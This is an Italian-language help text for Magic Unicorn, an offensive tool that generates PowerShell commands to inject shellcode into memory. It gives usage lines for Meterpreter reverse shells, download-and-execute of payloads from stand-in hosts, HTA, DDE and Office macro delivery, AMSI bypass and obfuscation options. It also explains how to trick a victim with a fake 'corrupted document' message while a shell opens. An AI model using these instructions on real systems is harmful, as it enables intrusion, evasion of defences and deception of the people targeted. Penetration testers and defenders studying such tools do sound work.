
Unicorn è un semplice strumento per utilizzare un attacco di downgrade di PowerShell e iniettare shellcode direttamente in memoria. Basato sugli attacchi PowerShell di Matthew Graeber e sulla tecnica di bypass di PowerShell presentata da David Kennedy (TrustedSec) e Josh Kelly al Defcon 18.
Scritto da: Dave Kennedy (@HackingDave) Sito web: https://www.trustedsec.com
Magic Unicorn è uno strumento semplice per utilizzare un attacco di downgrade di PowerShell e iniettare shellcode direttamente in memoria. Basato sugli attacchi powershell di Matthew Graeber e sulla tecnica di bypass di powershell presentata da David Kennedy (TrustedSec) e Josh Kelly al Defcon 18.
L'utilizzo è semplice: basta eseguire Magic Unicorn (assicurarsi che Metasploit sia installato se si utilizzano i metodi Metasploit e nel percorso corretto) e magic unicorn genererà automaticamente un comando powershell che è sufficiente copiare e incollare nella finestra della riga di comando o attraverso un sistema di distribuzione del payload. Unicorn supporta il tuo shellcode, cobalt strike e Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Unicorn ora genera un singolo comando figlio PowerShell. Con --amsi inline, la patch AMSI e il loader di shellcode
vengono eseguiti nello stesso processo figlio. Con --amsi off, Unicorn omette la fase AMSI.
Usa --profile cmd per un contesto di comando di 8191 caratteri. Usa --profile powershell per un
contesto di 32767 caratteri. Unicorn rifiuta un output che supera il limite selezionato.
Usa --arch x86 o --arch x64 per selezionare l'architettura del processo figlio PowerShell. Fornisci uno shellcode che
corrisponda a tale architettura. Il valore predefinito è x86.
Usa --obfuscation minimal|moderate|high per selezionare una variante limitata che preserva la semantica. Il
manifest registra le trasformazioni esatte utilizzate.
Usa --seed <value> per riprodurre una variante generata. Ogni esecuzione scrive unicorn_manifest.json con il
seed, l'architettura, la modalità AMSI, le lunghezze dei comandi, le API e lo SHA-256 dello shellcode sorgente.
La variante del loader utilizza un ciclo di copia byte memset oppure Marshal.Copy; l'API selezionata è registrata
nel manifest.
Per gli attacchi con shellcode, il manifest registra anche il profilo di offuscamento selezionato e le sue
trasformazioni.
Tutto viene ora generato in powershell_attack.txt, unicorn.rc quando viene usato Metasploit, e
unicorn_manifest.json. Il file di testo contiene il codice necessario per iniettare l'attacco PowerShell in
memoria. Hai bisogno di un luogo che supporti l'esecuzione remota di comandi. Usa --profile cmd per un contesto di comando
di 8191 caratteri. Questo attacco supporta anche windows/download_exec. Quando usi download and execute, esegui
python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe.
Nota che dovrai avere un listener abilitato per catturare l'attacco.
Per l'attacco macro, dovrai andare su File, Proprietà, Barra multifunzione e selezionare Sviluppo. Una volta fatto ciò, avrai una scheda Sviluppo. Crea una nuova macro, chiamala Auto_Open e incolla il codice generato al suo interno. Questa verrà eseguita automaticamente. Nota che un messaggio avviserà l'utente che il file è corrotto e chiuderà automaticamente il documento Excel. QUESTO È UN COMPORTAMENTO NORMALE! Questo serve a ingannare la vittima facendole credere che il documento Excel sia corrotto. Dovresti ottenere una shell tramite l'iniezione PowerShell dopo di che.
Se stai distribuendo questo contro versioni di Word Office365/2016+, devi modificare la prima riga dell' output da: Sub Auto_Open()
A: Sub AutoOpen()
Anche il nome della macro stessa deve essere "AutoOpen" invece del vecchio schema di denominazione "Auto_Open".
NOTA: QUANDO COPIA E INCOLLI L'EXCEL, SE CI SONO SPAZI AGGIUNTIVI CHE VENGONO AGGIUNTI DEVI RIMUOVERLI DOPO CIASCUNA DELLE SEZIONI DI CODICE POWERSHELL SOTTO LA VARIABILE "x" ALTRIMENTI SI VERIFICHERÀ UN ERRORE DI SINTASSI!